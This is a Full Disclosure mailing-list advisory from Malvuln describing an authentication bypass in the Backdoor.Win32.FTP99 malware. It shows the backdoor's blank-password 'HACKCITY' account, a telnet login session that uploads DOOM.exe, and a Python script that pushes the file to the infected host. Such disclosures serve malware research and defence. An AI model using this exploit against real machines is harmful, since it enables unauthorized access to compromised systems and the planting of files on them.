full-disclosure - [FD] Backdoor.Win32.FTP99 / Authentication Bypass Race Condition

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Message-ID: <CAAHK0WSHa+vvmg2kLUCZ-R78N_tnTTsxooN9EEg77zccrkqiSg@mail.gmail.com>
Date: Mon, 24 Jan 2022 21:05:36 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.FTP99 / Authentication Bypass Race Condition

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP99
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 1492. Credentials are stored
in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet
archive" with a blank password. Third-party attackers who can reach the
system before a password has been set can logon by just supplying the
username "HACKCITY".

"Serv-u.ini"

[USER=hackcity]
Password=
HomeDir=c:\
AlwaysAllowLogin=YES

Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0465
Dropped files: Windll16.exe
Disclosure: 01/24/2022

Exploit/PoC:
telnet.exe x.x.x.x 1492
220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
230 User HACKCITY logged in

HELP

214- The following commands are recognized (* => unimplemented).

USER    PORT    RETR    ALLO    DELE    SITE    XMKD    CDUP

PASS    PASV    STOR    REST    CWD     STAT    RMD     XCUP

ACCT    TYPE    APPE    RNFR    XCWD    HELP    XRMD    STOU

REIN    STRU    SMNT    RNTO    LIST    NOOP    PWD     SIZE

QUIT    MODE    SYST    ABOR    NLST    MKD     XPWD    MDTM

214 Serv-U, registered to: Data Case

SYST

215 UNIX Type: L8

PASV

227 Entering Passive Mode (192,168,18,129,206,190)

STOR DOOM.exe

150 Opening ASCII mode data connection for DOOM.exe.

STOR DOOM.exe

226 Transfer complete - file DOOM.exe received successfully

from socket import *

MALWARE_HOST="192.168.18.129"
PORT=52926
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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